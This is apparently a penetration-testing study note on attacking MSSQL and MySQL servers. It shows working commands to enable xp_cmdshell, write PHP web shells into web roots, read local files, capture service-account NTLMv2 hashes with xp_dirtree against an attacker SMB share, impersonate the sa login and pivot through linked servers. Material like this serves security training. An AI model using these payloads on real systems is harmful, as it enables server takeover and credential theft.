By default, MSSQL uses ports TCP/1433
and UDP/1434
and MySQL uses TCP/3306
. However, when MSSQL operates in a “hidden” mode it uses the TCP/2433
port.
Authentication Mechanism
MSSQL
supports 2 authentication modes:
Authentication Type | Description |
---|---|
Windows authentication mode | - This is the default. The SQL server security model is tightly integrated with Windows/Active Directory. - Specific users and groups are trusted to log in to SQL Server. - Users already been authenticated do not have to present additional credentials |
Mixed mode | Username and password pairs are maintained within SQL Server. |
MySQL, also supports different authentication methods, such as username and password, as well as windows authentication (a plugin is required).
In the past, there was a vulnerability in MySQL 5.6.x that allowed us to bypass authentication by using the same incorrect password for the given account because the timing attack
vulnerability existed in the way MySQL handled authentication attempts.
Misconfigurations
- Anonymous Access is enabled.
Connecting to SQL Server - MySQL
mysql -u <username> -p<password> -h <ip>
Connecting to SQL Server - Sqlcmd
sqlcmd -S <ip or host> -U <username> -P <password> -y 30 -Y 30
Note
When we authenticate to MSSQL using sqlcmd we can use the parameters -y (SQLCMDMAXVARTYPEWIDTH) and -Y (SQLCMDMAXFIXEDTYPEWIDTH) for better looking output. Keep in mind it may affect performance.
Alternative for Linux
We can use sqsh
as an alternative for sqlcmd
in Linux.
sqsh -S <ip or host> -U <username> -P <password> -h
Same way we can use Impacket’s mssqlclient
.
mssqlclient.py -p <port> <user>@<ip>
Note
When we authenticate to MSSQL using sqsh we can use the parameters -h to disable headers and footers for a cleaner look.
Logging In using Windows Authentication
sqsh -S <IP> -U .\\<username> -P <password> -h
When using Windows Authentication, we need to specify the domain name or the hostname of the target machine. If we don’t specify the domain or hostname, it assumes we are using SQL Authentication and auths us against the SQL Server users.
If we are targetting a local account, we can use SERVERNAME\\accountname
or .\\accountname
Execute Commands
Command execution is most desired when attacking SQL because it allows us to run commands on the operating system.
MSSQL has a extended stored procedure called xp_cmdshell which allows us to execute commands using SQL.
- It is disabled by default.
xp_cmdshell
can be enabled and disabled by using the Policy-Based Management or by executing sp_configure. - Shell spawned by this has same rights as the SQL service accounts.
Command Execution on MSSQL:
xp_cmdshell 'whoami'
GO
If xp_cmdshell
is not enabled, we can enable it, if we have proper rights:
-- To allow advanced options to be changed.
EXECUTE sp_configure 'show advanced options', 1
GO
-- To update the currently configured value for advanced options.
RECONFIGURE
GO
-- To enable the feature.
EXECUTE sp_configure 'xp_cmdshell', 1
GO
-- To update the currently configured value for this feature.
RECONFIGURE
GO
Command execution using MySQL (technically)
MySQL does not have a stored procedure like xp_cmdshell
, but we can achieve command execution if we write to a location in the file system that can execute our commands.
If we have the appropriate privileges, we can attempt to write a file using SELECT INTO OUTFILE
in the webserver directory. Then we can browse to the location where the file is and execute our commands.
MySQL - Write Local File
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
In MySQL
, a global system variable secure_file_priv limits the effect of data import and export operations, such as those performed by the LOAD DATA
and SELECT … INTO OUTFILE
statements and the LOAD_FILE() function. These operations are permitted only to users who have the FILE privilege.
secure_file_priv
may be set as follows:
- If empty, the variable has no effect, which is not a secure setting.
- If set to the name of a directory, the server limits import and export operations to work only with files in that directory. The directory must exist; the server does not create it.
- If set to NULL, the server disables import and export operations.
MySQL - Secure File Privileges
show variables like "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
We can see the secure_file_priv variable is empty, which means we can read and write data using MySQL.
MSSQL - Enable Ole Automation Procedures
1> sp_configure 'show advanced options', 1
2> GO
3> RECONFIGURE
4> GO
5> sp_configure 'Ole Automation Procedures', 1
6> GO
7> RECONFIGURE
8> GO
Note
To write files using MSSQL, we need to enable Ole Automation Procedures, which requires admin privileges, and then execute some stored procedures to create the file
MSSQL - Create a File
1> DECLARE @OLE INT
2> DECLARE @FileID INT
3> EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
4> EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
5> EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
6> EXECUTE sp_OADestroy @FileID
7> EXECUTE sp_OADestroy @OLE
8> GO
Read Local Files in MSSQL
SELECT * FROM OPENROWSET(BULK N'<filepath>', SINGLE_CLOB) AS Contents
GO
Read Local Files in MySQL
select LOAD_FILE("<filepath>");
Capture MSSQL Service Hash
We can steal MSSQL service account hash using xp_subdirs
or xp_dirtree
.
When we use one of these stored procedures and point it to our SMB server, the directory listening functionality will force the server to authenticate and send the NTLMv2 hash of the service account that is running the SQL Server.
To make this work, we need first to start Responder or impacket-smbserver and execute one of the following SQL queries:
EXEC master..xp_dirtree '\\<ip>\share\'
GO
EXEC master..xp_subdirs '\\<ip>\share\'
GO
Impersonate Existing Users with MSSQL
Methodology
SQL Server has a special permission, named IMPERSONATE, that allows the executing user to take on the permissions of another user or login until the context is reset or the session ends.
Identify Users that We Can Impersonate
1> SELECT distinct b.name
2> FROM sys.server_permissions a
3> INNER JOIN sys.server_principals b
4> ON a.grantor_principal_id = b.principal_id
5> WHERE a.permission_name = 'IMPERSONATE'
6> GO
To get an idea of privilege escalation possibilities, let’s verify if our current user has the sysadmin role:
1> SELECT SYSTEM_USER
2> SELECT IS_SRVROLEMEMBER('sysadmin')
3> go
0
means we don’t have sysadmin
and 1
means we does.
To impersonate a user, we can use the Transact-SQL statement EXECUTE AS LOGIN
and set it to the user we want to impersonate.
Impersonating the SA User
1> EXECUTE AS LOGIN = 'sa'
2> SELECT SYSTEM_USER
3> SELECT IS_SRVROLEMEMBER('sysadmin')
4> GO
Note
It’s recommended to run EXECUTE AS LOGIN within the master DB, because all users, by default, have access to that database. If a user you are trying to impersonate doesn’t have access to the DB you are connecting to it will present an error. Try to move to the master DB using USE master.
If the returned value is 0
we failed to impersonate and vice versa.
Note
If we find a user who is not sysadmin, we can still check if the user has access to other databases or linked servers.
Communicate with Other Databases with MSSQL
If we manage to gain access to a SQL Server with a linked server configured, we may be able to move laterally to that database server.
If the credentials have sysadmin privileges, we may be able to execute commands in the remote SQL instance.
1> SELECT srvname, isremote FROM sysservers
2> GO
The EXECUTE statement can be used to send pass-through commands to linked servers. We add our command between parenthesis and specify the linked server between square brackets ([ ]).
1> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]
2> GO
Note
If we need to use quotes in our query to the linked server, we need to use single double quotes to escape the single quote. To run multiples commands at once we can divide them up with a semi colon (;).